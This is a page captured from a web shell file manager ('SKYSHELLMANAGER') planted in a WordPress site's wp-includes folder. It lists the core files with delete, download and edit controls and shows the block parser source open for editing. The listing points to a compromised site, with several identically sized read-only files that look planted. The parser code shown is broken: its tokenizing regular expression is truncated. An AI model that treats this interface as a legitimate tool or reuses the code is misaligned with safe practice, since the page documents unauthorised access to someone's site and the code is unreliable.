ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v8.2.30

Current Path: home/powertibet/public_html/letketo.com/wp-includes/

Name	Size	Permissions	Actions
📁 ..	-	0755	🗑️
📁 ID3	-	0755	🗑️
📁 IXR	-	0755	🗑️
📁 PHPMailer	-	0755	🗑️
📁 Requests	-	0755	🗑️
📁 SimplePie	-	0755	🗑️
📁 Text	-	0755	🗑️
📁 abilities-api	-	0755	🗑️
📁 assets	-	0755	🗑️
📁 block-bindings	-	0755	🗑️
📁 block-patterns	-	0755	🗑️
📁 block-supports	-	0755	🗑️
📁 blocks	-	0755	🗑️
📁 certificates	-	0755	🗑️
📁 css	-	0755	🗑️
📁 customize	-	0755	🗑️
📁 fonts	-	0755	🗑️
📁 html-api	-	0755	🗑️
📁 images	-	0755	🗑️
📁 interactivity-api	-	0755	🗑️
📁 js	-	0755	🗑️
📁 l10n	-	0755	🗑️
📁 php-compat	-	0755	🗑️
📁 pomo	-	0755	🗑️
📁 rest-api	-	0755	🗑️
📁 sitemaps	-	0755	🗑️
📁 sodium_compat	-	0755	🗑️
📁 style-engine	-	0755	🗑️
📁 theme-compat	-	0755	🗑️
📁 widgets	-	0755	🗑️
📄 abilities-api.php	23.8 KB	0644	🗑️ ⬇️ ✏️
📄 abilities.php	7.8 KB	0644	🗑️ ⬇️ ✏️
📄 atomlib.php	11.9 KB	0644	🗑️ ⬇️ ✏️
📄 author-template.php	18.94 KB	0644	🗑️ ⬇️ ✏️
📄 block-bindings.php	7.35 KB	0644	🗑️ ⬇️ ✏️
📄 block-editor.php	28.6 KB	0644	🗑️ ⬇️ ✏️
📄 block-i18n.json	0.31 KB	0644	🗑️ ⬇️ ✏️
📄 block-patterns.php	12.9 KB	0644	🗑️ ⬇️ ✏️
📄 blocks.php	112.05 KB	0644	🗑️ ⬇️ ✏️
📄 bookmark-template.php	12.47 KB	0644	🗑️ ⬇️ ✏️
📄 bookmark.php	15.07 KB	0644	🗑️ ⬇️ ✏️
📄 cache-compat.php	9.84 KB	0644	🗑️ ⬇️ ✏️
📄 cache.php	13.17 KB	0644	🗑️ ⬇️ ✏️
📄 canonical.php	33.83 KB	0644	🗑️ ⬇️ ✏️
📄 capabilities.php	42.63 KB	0644	🗑️ ⬇️ ✏️
📄 category-template.php	55.71 KB	0644	🗑️ ⬇️ ✏️
📄 category.php	12.53 KB	0644	🗑️ ⬇️ ✏️
📄 class-IXR.php	2.55 KB	0644	🗑️ ⬇️ ✏️
📄 class-avif-info.php	28.92 KB	0644	🗑️ ⬇️ ✏️
📄 class-feed.php	0.53 KB	0644	🗑️ ⬇️ ✏️
📄 class-http.php	0.36 KB	0644	🗑️ ⬇️ ✏️
📄 class-json.php	42.65 KB	0644	🗑️ ⬇️ ✏️
📄 class-oembed.php	0.39 KB	0644	🗑️ ⬇️ ✏️
📄 class-phpmailer.php	0.65 KB	0644	🗑️ ⬇️ ✏️
📄 class-pop3.php	20.63 KB	0644	🗑️ ⬇️ ✏️
📄 class-requests.php	2.18 KB	0644	🗑️ ⬇️ ✏️
📄 class-walker-category-dropdown.php	2.41 KB	0644	🗑️ ⬇️ ✏️
📄 class-walker-category.php	8.28 KB	0644	🗑️ ⬇️ ✏️
📄 class-walker-comment.php	13.89 KB	0644	🗑️ ⬇️ ✏️
📄 class-walker-page-dropdown.php	2.65 KB	0644	🗑️ ⬇️ ✏️
📄 class-walker-page.php	7.43 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-ajax-response.php	5.14 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-application-passwords.php	16.7 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-block-bindings-registry.php	8.28 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-block-bindings-source.php	2.92 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-block-list.php	4.6 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-block-metadata-registry.php	11.62 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-block-parser-frame.php	1.97 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-block-parser.php	11.25 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-block-pattern-categories-registry.php	5.32 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-block-patterns-registry.php	10.6 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-block-styles-registry.php	6.34 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-block-template.php	1.99 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-block-templates-registry.php	7.02 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-block-type-registry.php	4.91 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-block-type.php	16.86 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-classic-to-block-menu-converter.php	3.97 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-comment.php	9.22 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-customize-nav-menus.php	56.65 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-customize-panel.php	10.46 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-customize-setting.php	29.26 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-date-query.php	35.3 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-dependency.php	2.57 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-duotone.php	39.83 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-editor.php	70.64 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-embed.php	15.56 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-exception.php	0.25 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-fatal-error-handler.php	7.96 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-feed-cache-transient.php	3.23 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-feed-cache.php	0.95 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-hook.php	16.28 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-http-cookie.php	7.22 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-http-curl.php	12.95 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-http-encoding.php	6.53 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-http-ixr-client.php	3.42 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-http-proxy.php	5.84 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-http-requests-hooks.php	1.97 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-http-requests-response.php	4.3 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-http-response.php	2.91 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-http-streams.php	16.46 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-http.php	40.6 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-image-editor-gd.php	20.22 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-image-editor.php	17.01 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-list-util.php	7.27 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-locale-switcher.php	6.62 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-locale.php	16.49 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-matchesmapregex.php	1.79 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-meta-query.php	29.82 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-metadata-lazyloader.php	6.67 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-network.php	12.01 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-object-cache.php	17.11 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-oembed-controller.php	6.74 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-paused-extensions-storage.php	4.99 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-phpmailer.php	4.25 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-plugin-dependencies.php	24.72 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-post-type.php	29.96 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-post.php	6.34 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-recovery-mode-cookie-service.php	6.72 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-recovery-mode-email-service.php	10.92 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-recovery-mode-key-service.php	4.77 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-recovery-mode-link-service.php	3.38 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-recovery-mode.php	11.18 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-roles.php	9.17 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-script-modules.php	32.15 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-scripts.php	34.05 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-simplepie-file.php	3.47 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-simplepie-sanitize-kses.php	1.87 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-site.php	7.29 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-speculation-rules.php	7.35 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-styles.php	12.54 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-tax-query.php	19.12 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-taxonomy.php	18.12 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-term-query.php	39.99 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-term.php	5.17 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-text-diff-renderer-inline.php	0.96 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-text-diff-renderer-table.php	18.44 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-textdomain-registry.php	10.24 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-theme-json-data.php	1.77 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-theme-json-resolver.php	34.9 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-theme-json.php	160.5 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-theme.php	64.27 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-token-map.php	27.95 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-user-meta-session-tokens.php	2.94 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-user-request.php	2.25 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-user.php	22.5 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-walker.php	13.01 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-widget-factory.php	3.27 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-widget.php	18 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp-xmlrpc-server.php	210.4 KB	0644	🗑️ ⬇️ ✏️
📄 class-wp.php	25.86 KB	0644	🗑️ ⬇️ ✏️
📄 class.wp-scripts.php	0.33 KB	0644	🗑️ ⬇️ ✏️
📄 class.wp-styles.php	0.33 KB	0644	🗑️ ⬇️ ✏️
📄 comment.php	130.93 KB	0644	🗑️ ⬇️ ✏️
📄 compat.php	17.41 KB	0644	🗑️ ⬇️ ✏️
📄 cron.php	41.98 KB	0644	🗑️ ⬇️ ✏️
📄 date.php	0.39 KB	0644	🗑️ ⬇️ ✏️
📄 default-filters.php	37.02 KB	0644	🗑️ ⬇️ ✏️
📄 default-widgets.php	2.24 KB	0644	🗑️ ⬇️ ✏️
📄 embed.php	38 KB	0644	🗑️ ⬇️ ✏️
📄 error-protection.php	4.02 KB	0644	🗑️ ⬇️ ✏️
📄 feed-atom-comments.php	5.38 KB	0644	🗑️ ⬇️ ✏️
📄 feed-rdf.php	2.61 KB	0644	🗑️ ⬇️ ✏️
📄 feed.php	24.6 KB	0644	🗑️ ⬇️ ✏️
📄 fonts.php	9.56 KB	0644	🗑️ ⬇️ ✏️
📄 functions.php	281.84 KB	0644	🗑️ ⬇️ ✏️
📄 functions.wp-scripts.php	14.95 KB	0644	🗑️ ⬇️ ✏️
📄 functions.wp-styles.php	8.44 KB	0644	🗑️ ⬇️ ✏️
📄 general-template.php	168.95 KB	0644	🗑️ ⬇️ ✏️
📄 global-styles-and-settings.php	20.71 KB	0644	🗑️ ⬇️ ✏️
📄 https-detection.php	5.72 KB	0644	🗑️ ⬇️ ✏️
📄 https-migration.php	4.63 KB	0644	🗑️ ⬇️ ✏️
📄 index.php	7.06 KB	0444	🗑️ ⬇️ ✏️
📄 l10n.php	67.18 KB	0644	🗑️ ⬇️ ✏️
📄 load.php	55.19 KB	0644	🗑️ ⬇️ ✏️
📄 locale.php	0.16 KB	0644	🗑️ ⬇️ ✏️
📄 media.php	216 KB	0644	🗑️ ⬇️ ✏️
📄 ms-blogs.php	25.24 KB	0644	🗑️ ⬇️ ✏️
📄 ms-default-filters.php	6.48 KB	0644	🗑️ ⬇️ ✏️
📄 ms-files.php	2.79 KB	0644	🗑️ ⬇️ ✏️
📄 ms-functions.php	89.69 KB	0644	🗑️ ⬇️ ✏️
📄 ms-network.php	3.69 KB	0644	🗑️ ⬇️ ✏️
📄 nav-menu-template.php	25.38 KB	0644	🗑️ ⬇️ ✏️
📄 nav-menu.php	43.33 KB	0644	🗑️ ⬇️ ✏️
📄 pluggable.php	124.47 KB	0644	🗑️ ⬇️ ✏️
📄 plugin.php	35.65 KB	0644	🗑️ ⬇️ ✏️
📄 post-formats.php	6.94 KB	0644	🗑️ ⬇️ ✏️
📄 post-template.php	67.04 KB	0644	🗑️ ⬇️ ✏️
📄 post-thumbnail-template.php	10.62 KB	0644	🗑️ ⬇️ ✏️
📄 registration-functions.php	0.2 KB	0644	🗑️ ⬇️ ✏️
📄 registration.php	0.2 KB	0644	🗑️ ⬇️ ✏️
📄 script-loader.php	154.63 KB	0644	🗑️ ⬇️ ✏️
📄 script-modules.php	9.68 KB	0644	🗑️ ⬇️ ✏️
📄 session.php	0.25 KB	0644	🗑️ ⬇️ ✏️
📄 shortcodes.php	23.49 KB	0644	🗑️ ⬇️ ✏️
📄 speculative-loading.php	8.4 KB	0644	🗑️ ⬇️ ✏️
📄 spl-autoload-compat.php	0.43 KB	0644	🗑️ ⬇️ ✏️
📄 taxonomy.php	172.91 KB	0644	🗑️ ⬇️ ✏️
📄 template-canvas.php	0.53 KB	0644	🗑️ ⬇️ ✏️
📄 template-loader.php	3.84 KB	0644	🗑️ ⬇️ ✏️
📄 theme-i18n.json	1.69 KB	0644	🗑️ ⬇️ ✏️
📄 theme-previews.php	2.84 KB	0644	🗑️ ⬇️ ✏️
📄 theme.json	8.71 KB	0644	🗑️ ⬇️ ✏️
📄 theme.php	131.84 KB	0644	🗑️ ⬇️ ✏️
📄 user.php	173.89 KB	0644	🗑️ ⬇️ ✏️
📄 version.php	1.11 KB	0644	🗑️ ⬇️ ✏️
📄 widgets.php	69.46 KB	0644	🗑️ ⬇️ ✏️
📄 wp-blog-header.php	7.06 KB	0444	🗑️ ⬇️ ✏️
📄 wp-db.php	0.43 KB	0644	🗑️ ⬇️ ✏️
📄 wp-diff.php	0.78 KB	0644	🗑️ ⬇️ ✏️
📄 wp-signup.php	7.06 KB	0444	🗑️ ⬇️ ✏️

Editing: class-wp-block-parser.php

<?php
/**
 * Block Serialization Parser
 *
 * @package WordPress
 */

/**
 * Class WP_Block_Parser
 *
 * Parses a document and constructs a list of parsed block objects
 *
 * @since 5.0.0
 * @since 4.0.0 returns arrays not objects, all attributes are arrays
 */
class WP_Block_Parser {
	/**
	 * Input document being parsed
	 *
	 * @example "Pre-text\nThis is inside a block!"
	 *
	 * @since 5.0.0
	 * @var string
	 */
	public $document;

/**
	 * Tracks parsing progress through document
	 *
	 * @since 5.0.0
	 * @var int
	 */
	public $offset;

/**
	 * List of parsed blocks
	 *
	 * @since 5.0.0
	 * @var array[]
	 */
	public $output;

/**
	 * Stack of partially-parsed structures in memory during parse
	 *
	 * @since 5.0.0
	 * @var WP_Block_Parser_Frame[]
	 */
	public $stack;

/**
	 * Parses a document and returns a list of block structures
	 *
	 * When encountering an invalid parse will return a best-effort
	 * parse. In contrast to the specification parser this does not
	 * return an error on invalid inputs.
	 *
	 * @since 5.0.0
	 *
	 * @param string $document Input document being parsed.
	 * @return array[]
	 */
	public function parse( $document ) {
		$this->document = $document;
		$this->offset   = 0;
		$this->output   = array();
		$this->stack    = array();

while ( $this->proceed() ) {
			continue;
		}

return $this->output;
	}

/**
	 * Processes the next token from the input document
	 * and returns whether to proceed eating more tokens
	 *
	 * This is the "next step" function that essentially
	 * takes a token as its input and decides what to do
	 * with that token before descending deeper into a
	 * nested block tree or continuing along the document
	 * or breaking out of a level of nesting.
	 *
	 * @internal
	 * @since 5.0.0
	 * @return bool
	 */
	public function proceed() {
		$next_token = $this->next_token();
		list( $token_type, $block_name, $attrs, $start_offset, $token_length ) = $next_token;
		$stack_depth = count( $this->stack );

// we may have some HTML soup before the next block.
		$leading_html_start = $start_offset > $this->offset ? $this->offset : null;

switch ( $token_type ) {
			case 'no-more-tokens':
				// if not in a block then flush output.
				if ( 0 === $stack_depth ) {
					$this->add_freeform();
					return false;
				}

/*
				 * Otherwise we have a problem
				 * This is an error
				 *
				 * we have options
				 * - treat it all as freeform text
				 * - assume an implicit closer (easiest when not nesting)
				 */

// for the easy case we'll assume an implicit closer.
				if ( 1 === $stack_depth ) {
					$this->add_block_from_stack();
					return false;
				}

/*
				 * for the nested case where it's more difficult we'll
				 * have to assume that multiple closers are missing
				 * and so we'll collapse the whole stack piecewise
				 */
				while ( 0 < count( $this->stack ) ) {
					$this->add_block_from_stack();
				}
				return false;

case 'void-block':
				/*
				 * easy case is if we stumbled upon a void block
				 * in the top-level of the document
				 */
				if ( 0 === $stack_depth ) {
					if ( isset( $leading_html_start ) ) {
						$this->output[] = (array) $this->freeform(
							substr(
								$this->document,
								$leading_html_start,
								$start_offset - $leading_html_start
							)
						);
					}

$this->output[] = (array) new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() );
					$this->offset   = $start_offset + $token_length;
					return true;
				}

// otherwise we found an inner block.
				$this->add_inner_block(
					new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ),
					$start_offset,
					$token_length
				);
				$this->offset = $start_offset + $token_length;
				return true;

case 'block-opener':
				// track all newly-opened blocks on the stack.
				array_push(
					$this->stack,
					new WP_Block_Parser_Frame(
						new WP_Block_Parser_Block( $block_name, $attrs, array(), '', array() ),
						$start_offset,
						$token_length,
						$start_offset + $token_length,
						$leading_html_start
					)
				);
				$this->offset = $start_offset + $token_length;
				return true;

case 'block-closer':
				/*
				 * if we're missing an opener we're in trouble
				 * This is an error
				 */
				if ( 0 === $stack_depth ) {
					/*
					 * we have options
					 * - assume an implicit opener
					 * - assume _this_ is the opener
					 * - give up and close out the document
					 */
					$this->add_freeform();
					return false;
				}

// if we're not nesting then this is easy - close the block.
				if ( 1 === $stack_depth ) {
					$this->add_block_from_stack( $start_offset );
					$this->offset = $start_offset + $token_length;
					return true;
				}

/*
				 * otherwise we're nested and we have to close out the current
				 * block and add it as a new innerBlock to the parent
				 */
				$stack_top                        = array_pop( $this->stack );
				$html                             = substr( $this->document, $stack_top->prev_offset, $start_offset - $stack_top->prev_offset );
				$stack_top->block->innerHTML     .= $html;
				$stack_top->block->innerContent[] = $html;
				$stack_top->prev_offset           = $start_offset + $token_length;

$this->add_inner_block(
					$stack_top->block,
					$stack_top->token_start,
					$stack_top->token_length,
					$start_offset + $token_length
				);
				$this->offset = $start_offset + $token_length;
				return true;

default:
				// This is an error.
				$this->add_freeform();
				return false;
		}
	}

/**
	 * Scans the document from where we last left off
	 * and finds the next valid token to parse if it exists
	 *
	 * Returns the type of the find: kind of find, block information, attributes
	 *
	 * @internal
	 * @since 5.0.0
	 * @since 4.6.1 fixed a bug in attribute parsing which caused catastrophic backtracking on invalid block comments
	 * @return array
	 */
	public function next_token() {
		$matches = null;

/*
		 * aye the magic
		 * we're using a single RegExp to tokenize the block comment delimiters
		 * we're also using a trick here because the only difference between a
		 * block opener and a block closer is the leading `/` before `wp:` (and
		 * a closer has no attributes). we can trap them both and process the
		 * match back in PHP to see which one it was.
		 */
		$has_match = preg_match(
			'/).)*+)?}\s+)?(?P<void>\/)?-->/s',
			$this->document,
			$matches,
			PREG_OFFSET_CAPTURE,
			$this->offset
		);

// if we get here we probably have catastrophic backtracking or out-of-memory in the PCRE.
		if ( false === $has_match ) {
			return array( 'no-more-tokens', null, null, null, null );
		}

// we have no more tokens.
		if ( 0 === $has_match ) {
			return array( 'no-more-tokens', null, null, null, null );
		}

list( $match, $started_at ) = $matches[0];

$length    = strlen( $match );
		$is_closer = isset( $matches['closer'] ) && -1 !== $matches['closer'][1];
		$is_void   = isset( $matches['void'] ) && -1 !== $matches['void'][1];
		$namespace = $matches['namespace'];
		$namespace = ( isset( $namespace ) && -1 !== $namespace[1] ) ? $namespace[0] : 'core/';
		$name      = $namespace . $matches['name'][0];
		$has_attrs = isset( $matches['attrs'] ) && -1 !== $matches['attrs'][1];

/*
		 * Fun fact! It's not trivial in PHP to create "an empty associative array" since all arrays
		 * are associative arrays. If we use `array()` we get a JSON `[]`
		 */
		$attrs = $has_attrs
			? json_decode( $matches['attrs'][0], /* as-associative */ true )
			: array();

/*
		 * This state isn't allowed
		 * This is an error
		 */
		if ( $is_closer && ( $is_void || $has_attrs ) ) {
			// we can ignore them since they don't hurt anything.
		}

if ( $is_void ) {
			return array( 'void-block', $name, $attrs, $started_at, $length );
		}

if ( $is_closer ) {
			return array( 'block-closer', $name, null, $started_at, $length );
		}

return array( 'block-opener', $name, $attrs, $started_at, $length );
	}

/**
	 * Returns a new block object for freeform HTML
	 *
	 * @internal
	 * @since 5.0.0
	 *
	 * @param string $inner_html HTML content of block.
	 * @return WP_Block_Parser_Block freeform block object.
	 */
	public function freeform( $inner_html ) {
		return new WP_Block_Parser_Block( null, array(), array(), $inner_html, array( $inner_html ) );
	}

/**
	 * Pushes a length of text from the input document
	 * to the output list as a freeform block.
	 *
	 * @internal
	 * @since 5.0.0
	 * @param null $length how many bytes of document text to output.
	 */
	public function add_freeform( $length = null ) {
		$length = $length ? $length : strlen( $this->document ) - $this->offset;

if ( 0 === $length ) {
			return;
		}

$this->output[] = (array) $this->freeform( substr( $this->document, $this->offset, $length ) );
	}

/**
	 * Given a block structure from memory pushes
	 * a new block to the output list.
	 *
	 * @internal
	 * @since 5.0.0
	 * @param WP_Block_Parser_Block $block        The block to add to the output.
	 * @param int                   $token_start  Byte offset into the document where the first token for the block starts.
	 * @param int                   $token_length Byte length of entire block from start of opening token to end of closing token.
	 * @param int|null              $last_offset  Last byte offset into document if continuing form earlier output.
	 */
	public function add_inner_block( WP_Block_Parser_Block $block, $token_start, $token_length, $last_offset = null ) {
		$parent                       = $this->stack[ count( $this->stack ) - 1 ];
		$parent->block->innerBlocks[] = (array) $block;
		$html                         = substr( $this->document, $parent->prev_offset, $token_start - $parent->prev_offset );

if ( ! empty( $html ) ) {
			$parent->block->innerHTML     .= $html;
			$parent->block->innerContent[] = $html;
		}

$parent->block->innerContent[] = null;
		$parent->prev_offset           = $last_offset ? $last_offset : $token_start + $token_length;
	}

/**
	 * Pushes the top block from the parsing stack to the output list.
	 *
	 * @internal
	 * @since 5.0.0
	 * @param int|null $end_offset byte offset into document for where we should stop sending text output as HTML.
	 */
	public function add_block_from_stack( $end_offset = null ) {
		$stack_top   = array_pop( $this->stack );
		$prev_offset = $stack_top->prev_offset;

$html = isset( $end_offset )
			? substr( $this->document, $prev_offset, $end_offset - $prev_offset )
			: substr( $this->document, $prev_offset );

if ( ! empty( $html ) ) {
			$stack_top->block->innerHTML     .= $html;
			$stack_top->block->innerContent[] = $html;
		}

if ( isset( $stack_top->leading_html_start ) ) {
			$this->output[] = (array) $this->freeform(
				substr(
					$this->document,
					$stack_top->leading_html_start,
					$stack_top->token_start - $stack_top->leading_html_start
				)
			);
		}

$this->output[] = (array) $stack_top->block;
	}
}

/**
 * WP_Block_Parser_Block class.
 *
 * Required for backward compatibility in WordPress Core.
 */
require_once __DIR__ . '/class-wp-block-parser-block.php';

/**
 * WP_Block_Parser_Frame class.
 *
 * Required for backward compatibility in WordPress Core.
 */
require_once __DIR__ . '/class-wp-block-parser-frame.php';

📁 ＳＫＹＳＨＥＬＬ ＭＡＮＡＧＥＲ-🛒 PHP v8.2.30

Editing: class-wp-block-parser.php

📁 ＳＫＹＳＨＥＬＬＭＡＮＡＧＥＲ-🛒 PHP v8.2.30